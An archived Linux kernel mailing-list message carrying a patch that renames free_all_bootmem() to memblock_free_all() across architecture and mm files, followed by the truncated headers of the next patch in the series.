To: linux-mm@kvack.org
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Fri Sep 14 14:25:19 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1g0n9u-0007rn-SH
	for glpr-linux-riscv@m.gmane.org; Fri, 14 Sep 2018 14:25:15 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:
	References:In-Reply-To:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=iUDNd44rd05SBw5kuBGzUgWOEk6YmnkX9gv/Fb7XhUU=; b=AsJmV5AhaA5V/aDOecJZMv2k5g
	15Ut2IfJ+APHyTBafUU3IEV7/UjaUOLAYh9Q5bYdD3xzTfbgE8bFFLnmVXbIt/bBWYXDKsCSgzLTv
	cG8bw/QyqQUxClZxKBbhOoGm1dBTpYX3PDZcTX46IeLHESp9WGd9xng1CnDWDy3YARbXq6CGpgjNY
	TL5QjYFDRSe8XQAtwr7sWbVQ04hUfKzJQ7BJtPUZ8vhERro/3+J6/TvAj/IQPWlB/6C4lnUdnRGMJ
	VCz52hRmoIYyHaCaoMUKPiklHNbxc7AyCPJz9raS8tpdT8Pr8kCjiEcJc0DeYlLXlVKJWDqnEOgpf
	LB0fcpSg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1g0nBu-0002So-V3; Fri, 14 Sep 2018 12:27:19 +0000
Original-Received: from casper.infradead.org ([2001:8b0:10b:1236::1])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g0nBo-0002Pe-OH
 for linux-riscv@bombadil.infradead.org; Fri, 14 Sep 2018 12:27:12 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=infradead.org; s=casper.20170209; h=Message-Id:References:In-Reply-To:Date:
 Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=uRYUUgiWrb215T3c3tfpThYEPip+8NRO4NVlW1RMJEA=; b=DTooBBJSqS46g0ZD662tPSvLw
 8+HlWYX8nr+MqOncoMd3lQWWgNz2iYkXHJTMH2K0wdSVZgzk58SK8vpHzfvNUpaCTyvgkA8Abbc7D
 ZNGGBCz9gEedszhSgd6fGlciX9iC7iZNesqVTAkZLmhWF8f9H1xnx/UYPFsaRqU6qFUdeFFRAmSxU
 jE0C9KXQrVHqVO26PjDCm+feckPeq4JMkl1Tx+qMxLzZDPKN+UM0BpN3atnjH3ESNaVm/IRI1bqRf
 y6cqORZ6Aib8Y11gi76ByFeajcglocs5h9U9MCwDfDiKi1dt640ezv7HCtabf8kA3Xyh0dXBf48Vr
 Df+lbIKTA==;
Original-Received: from mx0b-001b2d01.pphosted.com ([148.163.158.5]
 helo=mx0a-001b2d01.pphosted.com)
 by casper.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g0myt-0003Kc-Mc
 for linux-riscv@lists.infradead.org; Fri, 14 Sep 2018 12:13:56 +0000
Original-Received: from pps.filterd (m0098421.ppops.net [127.0.0.1])
 by mx0a-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w8EC4ZUQ096397
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:13:40 -0400
Original-Received: from e06smtp07.uk.ibm.com (e06smtp07.uk.ibm.com [195.75.94.103])
 by mx0a-001b2d01.pphosted.com with ESMTP id 2mgay24xrs-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:13:40 -0400
Original-Received: from localhost
 by e06smtp07.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linux-riscv@lists.infradead.org> from <rppt@linux.vnet.ibm.com>;
 Fri, 14 Sep 2018 13:13:37 +0100
Original-Received: from b06cxnps3074.portsmouth.uk.ibm.com (9.149.109.194)
 by e06smtp07.uk.ibm.com (192.168.101.137) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Fri, 14 Sep 2018 13:13:25 +0100
Original-Received: from d06av22.portsmouth.uk.ibm.com (d06av22.portsmouth.uk.ibm.com
 [9.149.105.58])
 by b06cxnps3074.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w8ECDOHJ58261662
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Fri, 14 Sep 2018 12:13:24 GMT
Original-Received: from d06av22.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id A7AC44C046;
 Fri, 14 Sep 2018 15:13:14 +0100 (BST)
Original-Received: from d06av22.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 7E3B34C04E;
 Fri, 14 Sep 2018 15:13:09 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.207.116])
 by d06av22.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
 Fri, 14 Sep 2018 15:13:09 +0100 (BST)
Original-Received: by rapoport-lnx (sSMTP sendmail emulation);
 Fri, 14 Sep 2018 15:13:18 +0300
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
X-TM-AS-GCONF: 00
x-cbid: 18091412-0028-0000-0000-000002F958E2
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18091412-0029-0000-0000-000023B30147
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-14_06:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=3 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=999 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809140129
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180914_131352_126697_4D7ECD8C 
X-CRM114-Status: GOOD (  28.56  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on casper.infradead.org summary:
 Content analysis details:   (-0.7 points, 5.0 required)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [148.163.158.5 listed in list.dnswl.org]
 0.0 KHOP_DYNAMIC           Relay looks like a dynamic address
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:809 gmane.linux.kernel.mm:203345 gmane.linux.ports.mips.general:66647 gmane.linux.ports.ia64:29242 gmane.linux.ports.sh.devel:57518 gmane.linux.ports.sparc:28430 gmane.linux.ports.hexagon:1859 gmane.linux.kernel.arc:4372 gmane.linux.ports.alpha:5248 gmane.linux.ports.arm.kernel:674220 gmane.linux.ports.parisc:28970 gmane.linux.kernel:2870796 gmane.linux.ports.ppc64.devel:162504
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/809>

The conversion is done using

sed -i 's@free_all_bootmem@memblock_free_all@' \
    $(git grep -l free_all_bootmem)

Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
Acked-by: Michal Hocko <mhocko@suse.com>
---
 arch/alpha/mm/init.c                   | 2 +-
 arch/arc/mm/init.c                     | 2 +-
 arch/arm/mm/init.c                     | 2 +-
 arch/arm64/mm/init.c                   | 2 +-
 arch/c6x/mm/init.c                     | 2 +-
 arch/h8300/mm/init.c                   | 2 +-
 arch/hexagon/mm/init.c                 | 2 +-
 arch/ia64/mm/init.c                    | 2 +-
 arch/m68k/mm/init.c                    | 2 +-
 arch/microblaze/mm/init.c              | 2 +-
 arch/mips/loongson64/loongson-3/numa.c | 2 +-
 arch/mips/mm/init.c                    | 2 +-
 arch/mips/sgi-ip27/ip27-memory.c       | 2 +-
 arch/nds32/mm/init.c                   | 2 +-
 arch/nios2/mm/init.c                   | 2 +-
 arch/openrisc/mm/init.c                | 2 +-
 arch/parisc/mm/init.c                  | 2 +-
 arch/powerpc/mm/mem.c                  | 2 +-
 arch/riscv/mm/init.c                   | 2 +-
 arch/s390/mm/init.c                    | 2 +-
 arch/sh/mm/init.c                      | 2 +-
 arch/sparc/mm/init_32.c                | 2 +-
 arch/sparc/mm/init_64.c                | 4 ++--
 arch/um/kernel/mem.c                   | 2 +-
 arch/unicore32/mm/init.c               | 2 +-
 arch/x86/mm/highmem_32.c               | 2 +-
 arch/x86/mm/init_32.c                  | 4 ++--
 arch/x86/mm/init_64.c                  | 4 ++--
 arch/x86/xen/mmu_pv.c                  | 2 +-
 arch/xtensa/mm/init.c                  | 2 +-
 include/linux/bootmem.h                | 2 +-
 mm/memblock.c                          | 2 +-
 mm/nobootmem.c                         | 4 ++--
 mm/page_alloc.c                        | 2 +-
 mm/page_poison.c                       | 2 +-
 35 files changed, 39 insertions(+), 39 deletions(-)

diff --git a/arch/alpha/mm/init.c b/arch/alpha/mm/init.c
index 9d74520..853d153 100644
--- a/arch/alpha/mm/init.c
+++ b/arch/alpha/mm/init.c
@@ -282,7 +282,7 @@ mem_init(void)
 {
 	set_max_mapnr(max_low_pfn);
 	high_memory = (void *) __va(max_low_pfn * PAGE_SIZE);
-	free_all_bootmem();
+	memblock_free_all();
 	mem_init_print_info(NULL);
 }
 
diff --git a/arch/arc/mm/init.c b/arch/arc/mm/init.c
index ba14506..0f29c65 100644
--- a/arch/arc/mm/init.c
+++ b/arch/arc/mm/init.c
@@ -218,7 +218,7 @@ void __init mem_init(void)
 		free_highmem_page(pfn_to_page(tmp));
 #endif
 
-	free_all_bootmem();
+	memblock_free_all();
 	mem_init_print_info(NULL);
 }
 
diff --git a/arch/arm/mm/init.c b/arch/arm/mm/init.c
index 0cc8e04..d421a10 100644
--- a/arch/arm/mm/init.c
+++ b/arch/arm/mm/init.c
@@ -508,7 +508,7 @@ void __init mem_init(void)
 
 	/* this will put all unused low memory onto the freelists */
 	free_unused_memmap();
-	free_all_bootmem();
+	memblock_free_all();
 
 #ifdef CONFIG_SA1111
 	/* now that our DMA memory is actually so designated, we can free it */
diff --git a/arch/arm64/mm/init.c b/arch/arm64/mm/init.c
index e335452..ae21849 100644
--- a/arch/arm64/mm/init.c
+++ b/arch/arm64/mm/init.c
@@ -601,7 +601,7 @@ void __init mem_init(void)
 	free_unused_memmap();
 #endif
 	/* this will put all unused low memory onto the freelists */
-	free_all_bootmem();
+	memblock_free_all();
 
 	kexec_reserve_crashkres_pages();
 
diff --git a/arch/c6x/mm/init.c b/arch/c6x/mm/init.c
index dc369ad..3383df8 100644
--- a/arch/c6x/mm/init.c
+++ b/arch/c6x/mm/init.c
@@ -62,7 +62,7 @@ void __init mem_init(void)
 	high_memory = (void *)(memory_end & PAGE_MASK);
 
 	/* this will put all memory onto the freelists */
-	free_all_bootmem();
+	memblock_free_all();
 
 	mem_init_print_info(NULL);
 }
diff --git a/arch/h8300/mm/init.c b/arch/h8300/mm/init.c
index 5d31ac9..f2bf448 100644
--- a/arch/h8300/mm/init.c
+++ b/arch/h8300/mm/init.c
@@ -96,7 +96,7 @@ void __init mem_init(void)
 	max_mapnr = MAP_NR(high_memory);
 
 	/* this will put all low memory onto the freelists */
-	free_all_bootmem();
+	memblock_free_all();
 
 	mem_init_print_info(NULL);
 }
diff --git a/arch/hexagon/mm/init.c b/arch/hexagon/mm/init.c
index d789b9c..88643fa 100644
--- a/arch/hexagon/mm/init.c
+++ b/arch/hexagon/mm/init.c
@@ -68,7 +68,7 @@ unsigned long long kmap_generation;
 void __init mem_init(void)
 {
 	/*  No idea where this is actually declared.  Seems to evade LXR.  */
-	free_all_bootmem();
+	memblock_free_all();
 	mem_init_print_info(NULL);
 
 	/*
diff --git a/arch/ia64/mm/init.c b/arch/ia64/mm/init.c
index 2169ca5..43ea4a4 100644
--- a/arch/ia64/mm/init.c
+++ b/arch/ia64/mm/init.c
@@ -627,7 +627,7 @@ mem_init (void)
 
 	set_max_mapnr(max_low_pfn);
 	high_memory = __va(max_low_pfn * PAGE_SIZE);
-	free_all_bootmem();
+	memblock_free_all();
 	mem_init_print_info(NULL);
 
 	/*
diff --git a/arch/m68k/mm/init.c b/arch/m68k/mm/init.c
index 977363e..ae49ae4 100644
--- a/arch/m68k/mm/init.c
+++ b/arch/m68k/mm/init.c
@@ -140,7 +140,7 @@ static inline void init_pointer_tables(void)
 void __init mem_init(void)
 {
 	/* this will put all memory onto the freelists */
-	free_all_bootmem();
+	memblock_free_all();
 	init_pointer_tables();
 	mem_init_print_info(NULL);
 }
diff --git a/arch/microblaze/mm/init.c b/arch/microblaze/mm/init.c
index 8c7f074..9989740 100644
--- a/arch/microblaze/mm/init.c
+++ b/arch/microblaze/mm/init.c
@@ -204,7 +204,7 @@ void __init mem_init(void)
 	high_memory = (void *)__va(memory_start + lowmem_size - 1);
 
 	/* this will put all memory onto the freelists */
-	free_all_bootmem();
+	memblock_free_all();
 #ifdef CONFIG_HIGHMEM
 	highmem_setup();
 #endif
diff --git a/arch/mips/loongson64/loongson-3/numa.c b/arch/mips/loongson64/loongson-3/numa.c
index c1e6ec5..703ad45 100644
--- a/arch/mips/loongson64/loongson-3/numa.c
+++ b/arch/mips/loongson64/loongson-3/numa.c
@@ -272,7 +272,7 @@ void __init paging_init(void)
 void __init mem_init(void)
 {
 	high_memory = (void *) __va(get_num_physpages() << PAGE_SHIFT);
-	free_all_bootmem();
+	memblock_free_all();
 	setup_zero_pages();	/* This comes from node 0 */
 	mem_init_print_info(NULL);
 }
diff --git a/arch/mips/mm/init.c b/arch/mips/mm/init.c
index a010fba7..54c36be 100644
--- a/arch/mips/mm/init.c
+++ b/arch/mips/mm/init.c
@@ -464,7 +464,7 @@ void __init mem_init(void)
 	high_memory = (void *) __va(max_low_pfn << PAGE_SHIFT);
 
 	maar_init();
-	free_all_bootmem();
+	memblock_free_all();
 	setup_zero_pages();	/* Setup zeroed pages.  */
 	mem_init_free_highmem();
 	mem_init_print_info(NULL);
diff --git a/arch/mips/sgi-ip27/ip27-memory.c b/arch/mips/sgi-ip27/ip27-memory.c
index 6f7bef0..cb1f1a6 100644
--- a/arch/mips/sgi-ip27/ip27-memory.c
+++ b/arch/mips/sgi-ip27/ip27-memory.c
@@ -475,7 +475,7 @@ void __init paging_init(void)
 void __init mem_init(void)
 {
 	high_memory = (void *) __va(get_num_physpages() << PAGE_SHIFT);
-	free_all_bootmem();
+	memblock_free_all();
 	setup_zero_pages();	/* This comes from node 0 */
 	mem_init_print_info(NULL);
 }
diff --git a/arch/nds32/mm/init.c b/arch/nds32/mm/init.c
index 5af81b8..66d3e9c 100644
--- a/arch/nds32/mm/init.c
+++ b/arch/nds32/mm/init.c
@@ -192,7 +192,7 @@ void __init mem_init(void)
 	free_highmem();
 
 	/* this will put all low memory onto the freelists */
-	free_all_bootmem();
+	memblock_free_all();
 	mem_init_print_info(NULL);
 
 	pr_info("virtual kernel memory layout:\n"
diff --git a/arch/nios2/mm/init.c b/arch/nios2/mm/init.c
index c92fe42..1292350 100644
--- a/arch/nios2/mm/init.c
+++ b/arch/nios2/mm/init.c
@@ -73,7 +73,7 @@ void __init mem_init(void)
 	high_memory = __va(end_mem);
 
 	/* this will put all memory onto the freelists */
-	free_all_bootmem();
+	memblock_free_all();
 	mem_init_print_info(NULL);
 }
 
diff --git a/arch/openrisc/mm/init.c b/arch/openrisc/mm/init.c
index b7670de..91a6a9a 100644
--- a/arch/openrisc/mm/init.c
+++ b/arch/openrisc/mm/init.c
@@ -213,7 +213,7 @@ void __init mem_init(void)
 	memset((void *)empty_zero_page, 0, PAGE_SIZE);
 
 	/* this will put all low memory onto the freelists */
-	free_all_bootmem();
+	memblock_free_all();
 
 	mem_init_print_info(NULL);
 
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 74842d2..bc368e9 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -612,7 +612,7 @@ void __init mem_init(void)
 
 	high_memory = __va((max_pfn << PAGE_SHIFT));
 	set_max_mapnr(page_to_pfn(virt_to_page(high_memory - 1)) + 1);
-	free_all_bootmem();
+	memblock_free_all();
 
 #ifdef CONFIG_PA11
 	if (boot_cpu_data.cpu_type == pcxl2 || boot_cpu_data.cpu_type == pcxl) {
diff --git a/arch/powerpc/mm/mem.c b/arch/powerpc/mm/mem.c
index 5c8530d..c141134 100644
--- a/arch/powerpc/mm/mem.c
+++ b/arch/powerpc/mm/mem.c
@@ -348,7 +348,7 @@ void __init mem_init(void)
 
 	high_memory = (void *) __va(max_low_pfn * PAGE_SIZE);
 	set_max_mapnr(max_pfn);
-	free_all_bootmem();
+	memblock_free_all();
 
 #ifdef CONFIG_HIGHMEM
 	{
diff --git a/arch/riscv/mm/init.c b/arch/riscv/mm/init.c
index 58a522f..d58c111 100644
--- a/arch/riscv/mm/init.c
+++ b/arch/riscv/mm/init.c
@@ -55,7 +55,7 @@ void __init mem_init(void)
 #endif /* CONFIG_FLATMEM */
 
 	high_memory = (void *)(__va(PFN_PHYS(max_low_pfn)));
-	free_all_bootmem();
+	memblock_free_all();
 
 	mem_init_print_info(NULL);
 }
diff --git a/arch/s390/mm/init.c b/arch/s390/mm/init.c
index 3fa3e53..67bdba6 100644
--- a/arch/s390/mm/init.c
+++ b/arch/s390/mm/init.c
@@ -136,7 +136,7 @@ void __init mem_init(void)
 	cmma_init();
 
 	/* this will put all low memory onto the freelists */
-	free_all_bootmem();
+	memblock_free_all();
 	setup_zero_pages();	/* Setup zeroed pages. */
 
 	cmma_init_nodat();
diff --git a/arch/sh/mm/init.c b/arch/sh/mm/init.c
index c884b76..21447f8 100644
--- a/arch/sh/mm/init.c
+++ b/arch/sh/mm/init.c
@@ -350,7 +350,7 @@ void __init mem_init(void)
 		high_memory = max_t(void *, high_memory,
 				    __va(pgdat_end_pfn(pgdat) << PAGE_SHIFT));
 
-	free_all_bootmem();
+	memblock_free_all();
 
 	/* Set this up early, so we can take care of the zero page */
 	cpu_cache_init();
diff --git a/arch/sparc/mm/init_32.c b/arch/sparc/mm/init_32.c
index 885dd38..8807145 100644
--- a/arch/sparc/mm/init_32.c
+++ b/arch/sparc/mm/init_32.c
@@ -277,7 +277,7 @@ void __init mem_init(void)
 
 	max_mapnr = last_valid_pfn - pfn_base;
 	high_memory = __va(max_low_pfn << PAGE_SHIFT);
-	free_all_bootmem();
+	memblock_free_all();
 
 	for (i = 0; sp_banks[i].num_bytes != 0; i++) {
 		unsigned long start_pfn = sp_banks[i].base_addr >> PAGE_SHIFT;
diff --git a/arch/sparc/mm/init_64.c b/arch/sparc/mm/init_64.c
index 51cd583..c2c8bff 100644
--- a/arch/sparc/mm/init_64.c
+++ b/arch/sparc/mm/init_64.c
@@ -2544,12 +2544,12 @@ void __init mem_init(void)
 {
 	high_memory = __va(last_valid_pfn << PAGE_SHIFT);
 
-	free_all_bootmem();
+	memblock_free_all();
 
 	/*
 	 * Must be done after boot memory is put on freelist, because here we
 	 * might set fields in deferred struct pages that have not yet been
-	 * initialized, and free_all_bootmem() initializes all the reserved
+	 * initialized, and memblock_free_all() initializes all the reserved
 	 * deferred pages for us.
 	 */
 	register_page_bootmem_info();
diff --git a/arch/um/kernel/mem.c b/arch/um/kernel/mem.c
index 3555c13..2c672a8 100644
--- a/arch/um/kernel/mem.c
+++ b/arch/um/kernel/mem.c
@@ -51,7 +51,7 @@ void __init mem_init(void)
 	uml_reserved = brk_end;
 
 	/* this will put all low memory onto the freelists */
-	free_all_bootmem();
+	memblock_free_all();
 	max_low_pfn = totalram_pages;
 	max_pfn = totalram_pages;
 	mem_init_print_info(NULL);
diff --git a/arch/unicore32/mm/init.c b/arch/unicore32/mm/init.c
index 4c572ab..3e5bb45 100644
--- a/arch/unicore32/mm/init.c
+++ b/arch/unicore32/mm/init.c
@@ -289,7 +289,7 @@ void __init mem_init(void)
 	free_unused_memmap(&meminfo);
 
 	/* this will put all unused low memory onto the freelists */
-	free_all_bootmem();
+	memblock_free_all();
 
 	mem_init_print_info(NULL);
 	printk(KERN_NOTICE "Virtual kernel memory layout:\n"
diff --git a/arch/x86/mm/highmem_32.c b/arch/x86/mm/highmem_32.c
index 6d18b70..62915a5 100644
--- a/arch/x86/mm/highmem_32.c
+++ b/arch/x86/mm/highmem_32.c
@@ -111,7 +111,7 @@ void __init set_highmem_pages_init(void)
 
 	/*
 	 * Explicitly reset zone->managed_pages because set_highmem_pages_init()
-	 * is invoked before free_all_bootmem()
+	 * is invoked before memblock_free_all()
 	 */
 	reset_all_zones_managed_pages();
 	for_each_zone(zone) {
diff --git a/arch/x86/mm/init_32.c b/arch/x86/mm/init_32.c
index 979e0a0..8ee1e64 100644
--- a/arch/x86/mm/init_32.c
+++ b/arch/x86/mm/init_32.c
@@ -771,7 +771,7 @@ void __init mem_init(void)
 #endif
 	/*
 	 * With CONFIG_DEBUG_PAGEALLOC initialization of highmem pages has to
-	 * be done before free_all_bootmem(). Memblock use free low memory for
+	 * be done before memblock_free_all(). Memblock use free low memory for
 	 * temporary data (see find_range_array()) and for this purpose can use
 	 * pages that was already passed to the buddy allocator, hence marked as
 	 * not accessible in the page tables when compiled with
@@ -781,7 +781,7 @@ void __init mem_init(void)
 	set_highmem_pages_init();
 
 	/* this will put all low memory onto the freelists */
-	free_all_bootmem();
+	memblock_free_all();
 
 	after_bootmem = 1;
 	x86_init.hyper.init_after_bootmem();
diff --git a/arch/x86/mm/init_64.c b/arch/x86/mm/init_64.c
index f39b512..bfb0bed 100644
--- a/arch/x86/mm/init_64.c
+++ b/arch/x86/mm/init_64.c
@@ -1188,14 +1188,14 @@ void __init mem_init(void)
 	/* clear_bss() already clear the empty_zero_page */
 
 	/* this will put all memory onto the freelists */
-	free_all_bootmem();
+	memblock_free_all();
 	after_bootmem = 1;
 	x86_init.hyper.init_after_bootmem();
 
 	/*
 	 * Must be done after boot memory is put on freelist, because here we
 	 * might set fields in deferred struct pages that have not yet been
-	 * initialized, and free_all_bootmem() initializes all the reserved
+	 * initialized, and memblock_free_all() initializes all the reserved
 	 * deferred pages for us.
 	 */
 	register_page_bootmem_info();
diff --git a/arch/x86/xen/mmu_pv.c b/arch/x86/xen/mmu_pv.c
index 7ada9e4..93b54a8 100644
--- a/arch/x86/xen/mmu_pv.c
+++ b/arch/x86/xen/mmu_pv.c
@@ -864,7 +864,7 @@ static int __init xen_mark_pinned(struct mm_struct *mm, struct page *page,
  * The init_mm pagetable is really pinned as soon as its created, but
  * that's before we have page structures to store the bits.  So do all
  * the book-keeping now once struct pages for allocated pages are
- * initialized. This happens only after free_all_bootmem() is called.
+ * initialized. This happens only after memblock_free_all() is called.
  */
 static void __init xen_after_bootmem(void)
 {
diff --git a/arch/xtensa/mm/init.c b/arch/xtensa/mm/init.c
index 34aead7..f7fbe63 100644
--- a/arch/xtensa/mm/init.c
+++ b/arch/xtensa/mm/init.c
@@ -152,7 +152,7 @@ void __init mem_init(void)
 	max_mapnr = max_pfn - ARCH_PFN_OFFSET;
 	high_memory = (void *)__va(max_low_pfn << PAGE_SHIFT);
 
-	free_all_bootmem();
+	memblock_free_all();
 
 	mem_init_print_info(NULL);
 	pr_info("virtual kernel memory layout:\n"
diff --git a/include/linux/bootmem.h b/include/linux/bootmem.h
index bcc7e2f..b58873a 100644
--- a/include/linux/bootmem.h
+++ b/include/linux/bootmem.h
@@ -26,7 +26,7 @@ extern unsigned long max_pfn;
  */
 extern unsigned long long max_possible_pfn;
 
-extern unsigned long free_all_bootmem(void);
+extern unsigned long memblock_free_all(void);
 extern void reset_node_managed_pages(pg_data_t *pgdat);
 extern void reset_all_zones_managed_pages(void);
 
diff --git a/mm/memblock.c b/mm/memblock.c
index 3a21476..1534edb 100644
--- a/mm/memblock.c
+++ b/mm/memblock.c
@@ -1411,7 +1411,7 @@ static void * __init memblock_alloc_internal(
 	/*
 	 * Detect any accidental use of these APIs after slab is ready, as at
 	 * this moment memblock may be deinitialized already and its
-	 * internal data may be destroyed (after execution of free_all_bootmem)
+	 * internal data may be destroyed (after execution of memblock_free_all)
 	 */
 	if (WARN_ON_ONCE(slab_is_available()))
 		return kzalloc_node(size, GFP_NOWAIT, nid);
diff --git a/mm/nobootmem.c b/mm/nobootmem.c
index ee0f7fc..bb64b09 100644
--- a/mm/nobootmem.c
+++ b/mm/nobootmem.c
@@ -111,11 +111,11 @@ void __init reset_all_zones_managed_pages(void)
 }
 
 /**
- * free_all_bootmem - release free pages to the buddy allocator
+ * memblock_free_all - release free pages to the buddy allocator
  *
  * Return: the number of pages actually released.
  */
-unsigned long __init free_all_bootmem(void)
+unsigned long __init memblock_free_all(void)
 {
 	unsigned long pages;
 
diff --git a/mm/page_alloc.c b/mm/page_alloc.c
index 7658a6f..13e394c 100644
--- a/mm/page_alloc.c
+++ b/mm/page_alloc.c
@@ -5472,7 +5472,7 @@ overlap_memmap_init(unsigned long zone, unsigned long *pfn)
 
 /*
  * Initially all pages are reserved - free ones are freed
- * up by free_all_bootmem() once the early boot process is
+ * up by memblock_free_all() once the early boot process is
  * done. Non-atomic initialization, single-pass.
  */
 void __meminit memmap_init_zone(unsigned long size, int nid, unsigned long zone,
diff --git a/mm/page_poison.c b/mm/page_poison.c
index aa2b3d3..f7e2a67 100644
--- a/mm/page_poison.c
+++ b/mm/page_poison.c
@@ -21,7 +21,7 @@ bool page_poisoning_enabled(void)
 {
 	/*
 	 * Assumes that debug_pagealloc_enabled is set before
-	 * free_all_bootmem.
+	 * memblock_free_all.
 	 * Page poisoning is debug page alloc for some arches. If
 	 * either of those options are enabled, enable poisoning.
 	 */
-- 
2.7.4

From - Thu Nov 08 21:41:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.riscv,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH 06/30] memblock: rename memblock_alloc{_nid,
 _try_nid} to memblock_phys_alloc*
Date: Fri, 14 Sep 2018 15:10:21 +0300
Lines: 556
Approved: news@gmane.org
Message-ID: <1536927045-23536-7-git-send-email-rppt@linux.vnet.ibm.com>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1536927975 2732 195.159.176.226 (14 Sep 2018 12:26:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 12:26:15 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Michal Hocko <mhocko@suse.com>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>, Palmer Dabbelt <palmer@sifive.com>,
 Russell King <linux@armlinux.org.uk>, Rich Felker <dalias@libc.org>,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Jonathan Corbet <corbet@lwn.net>,
 Michael Ellerman <mpe@ellerman.id.au>,
